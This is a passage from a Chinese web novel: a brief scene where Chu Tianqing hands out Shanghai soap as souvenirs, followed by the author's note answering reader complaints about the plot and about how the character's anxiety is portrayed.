楚天青翻了翻书包,掏出两块香皂,递给纪明川和宋远舟:“我在上海给你们买的纪念品,不贵,很好用。” 冯康也凑了过来:“青神,我……我有没有份啊?上海药皂,看起来很好用啊。” 纪明川看了看宋远舟那一块香皂,和自己的这一块相比,竟然没有任何不同。 纪明川本来就有些疑惑,再听见冯康的问题,更是直白道:“你也没给青神送过礼物,青神为什么要给你准备纪念品?”—— 我从昨天到现在没睡觉,凌晨三点心脏很难受去医院了,现在其实也不太舒服,但是我一定要把这一章更新出来。 另外针对评论区提到的几个问题,我想解释一下。 1、“你是故意恶心女主,恶心读者”。 这个我必须澄清:不是。 其实,避开成长转折线,对作者来说是更容易的,写竞赛也比写科研简单得多,提前开始一条科研线,资料搜集也很难,阅读楚天青喜欢的那些论文,比读数学题难多了。 楚天青的兴趣,我从第六章就开始铺垫,她喜欢实践类型的项目,不喜欢纯理论型。她喜欢的那本清华大学的书,我也买了,也看了,虽然看不懂,也是为了她。 如果让她自己选,第一、拿两个铜奖,立即开始自己喜欢的科研大赛项目,再拿科研大赛的钱。第二、金奖进入集训队,保送指定学科,集训六个月。 她一定会选前者。她情绪上确实会低落两三天,但她有能力调整过来。十八岁的她,已经能做出自主选择了。 所以我想写她的成长,而不是写一个永远不变的天才。我也自己写一些搞笑的段落的时候会笑,我想读者朋友们大概也会笑,只是这种幻想也让我觉得开心。但写冲突的时候我的情绪完全抽离了,没力气去想别的,我现在回想,本文的冲突真的也不是很激烈,而且放弃竞赛后,找到了自己的方向,楚天青的人生基本是一片坦途了。 2、“我写轻松短篇,骗读者进来看”, 我不是抱着骗谁的心来写这本书的。我尽力写得认真,也想让楚天青尽快开始她喜欢的项目,只针对她个人来说,用竞赛给她赚快钱,再来参加(现实中也是12月底截止报名)的科研大赛,钱也有了,名也有了,这条路我觉得挺好的。但她的视角不是全知全能,事情还没发生的时候,由于焦虑症,她会担心,但她已经意识到这一点,渐渐能控制住自己了。 别的话,我也都看见了,其实我真的只是想息事宁人。我读过一本心理学书,里面说到“钟摆效应”,每一件事就像一个钟摆,不论是抵抗,还是支持,都会推动它晃得更大。我希望它停下来,我不希望自己也变成推手。 3、“焦虑症不会当众哭泣” 这个我也想解释,如果你没有经历过焦虑严重躯体化的阶段,能不在公共场合崩溃,其实是挺好的。 真正严重发作的时候,眼泪是不受控制的,会无法站立,恶心呕吐,甚至吐胆汁,非常非常苦。所以我可以共情楚天青,但我绝不会把我的症状放到她身上,只是能更好地了解她的心情,我想做一个尽职尽责的摄像头拍摄她。林知夏出场推迟是因为她和楚天青聊的都是量子计算,我现在精力不足以去检查她们的聊天内容是否科学准确